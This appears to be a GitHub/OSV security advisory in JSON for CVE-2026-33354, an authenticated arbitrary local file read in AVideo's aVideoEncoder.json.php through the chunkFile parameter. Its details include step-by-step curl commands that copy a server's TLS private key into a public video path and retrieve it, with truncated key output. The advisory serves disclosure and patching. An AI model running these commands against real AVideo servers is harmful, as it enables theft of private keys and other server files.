{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33354"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T19:34:06Z",
    "nvd_published_at": "2026-03-23T15:16:33Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n`POST /objects/aVideoEncoder.json.php` accepts a requester-controlled `chunkFile` parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass `isValidURLOrPath()`. That helper allows files under broad server directories including `/var/www/`, the application root, cache, tmp, and `videos`, only rejecting `.php` files.\n\nFor an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker\u0027s public video storage path, after which it can be downloaded over HTTP.\n\nI confirmed this locally by creating an attacker-owned video, then calling `aVideoEncoder.json.php` with `videos_id=\u003cown video\u003e`, `format=mp4`, and `chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem`. The resulting public video URL returned the local TLS private key and began with `-----BEGIN PRIVATE KEY-----`.\n\n## Affected Versions / Commit\nTested on local Docker deployment from commit `db12d4c0141d40bfabd1e82577e8c4a3d044cd84`. The application reported version `26.0`.\n\n## Preconditions\n- Authenticated account with upload permission.\n- Attacker owns at least one editable video record.\n- Target local file is readable by the web application user.\n\n## Steps to Reproduce\n1. Log in as an upload-capable low-privileged user.\n2. Create any attacker-owned video via the normal upload endpoint to obtain `videos_id` and `filename`.\n3. Send a POST request to `aVideoEncoder.json.php` with the attacker\u0027s own `videos_id`, an allowed `format`, and a server-local `chunkFile` path.\n4. Download the resulting media object from `/videos/\u003cfilename\u003e/\u003cfilename\u003e.mp4`.\n\n## Proof of Concept\nThe included `poc.py` automates the exploit against the local instance.\n\nManual reproduction:\n\n```bash\n# 1. Login as low-priv uploader\ncurl -s -c attacker.cookies \\\n  -d \u0027user=attacker\u0026pass=UserPass123!\u0027 \\\n  http://127.0.0.1/objects/login.json.php \u003e/dev/null\n\n# 2. Create an attacker-owned video\nprintf \u0027x\u0027 \u003e poc.mp4\ncurl -s -b attacker.cookies \\\n  -F \u0027upl=@poc.mp4;type=video/mp4\u0027 \\\n  http://127.0.0.1/view/mini-upload-form/upload.php\n\n# Example response:\n# {\"error\":false,\"title\":\"poc\",\"filename\":\"poc_69bb86db62c308.68438735\",\"videos_id\":4,...}\n\n# 3. Copy a local file into the attacker\u0027s public video path\ncurl -s -b attacker.cookies \\\n  -d \u0027videos_id=4\u0026format=mp4\u0026title=poc\u0026description=test\u0026chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem\u0027 \\\n  http://127.0.0.1/objects/aVideoEncoder.json.php\n\n# 4. Retrieve the copied file over HTTP\ncurl -s \\\n  http://127.0.0.1/videos/poc_69bb86db62c308.68438735/poc_69bb86db62c308.68438735.mp4 | head\n```\n\n## Observed Result\nThe final GET returned the contents of the local TLS private key:\n\n```text\n-----BEGIN PRIVATE KEY-----\nMIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQ...\n```",
  "id": "GHSA-4jw9-5hrc-m4j6",
  "modified": "2026-03-25T18:49:20Z",
  "published": "2026-03-19T19:34:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-4jw9-5hrc-m4j6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33354"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/59bbd601a3f65a5b18c1d9e4eb11471c0a59214f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has an authenticated arbitrary local file read via `chunkFile` path injection in `aVideoEncoder.json.php`"
}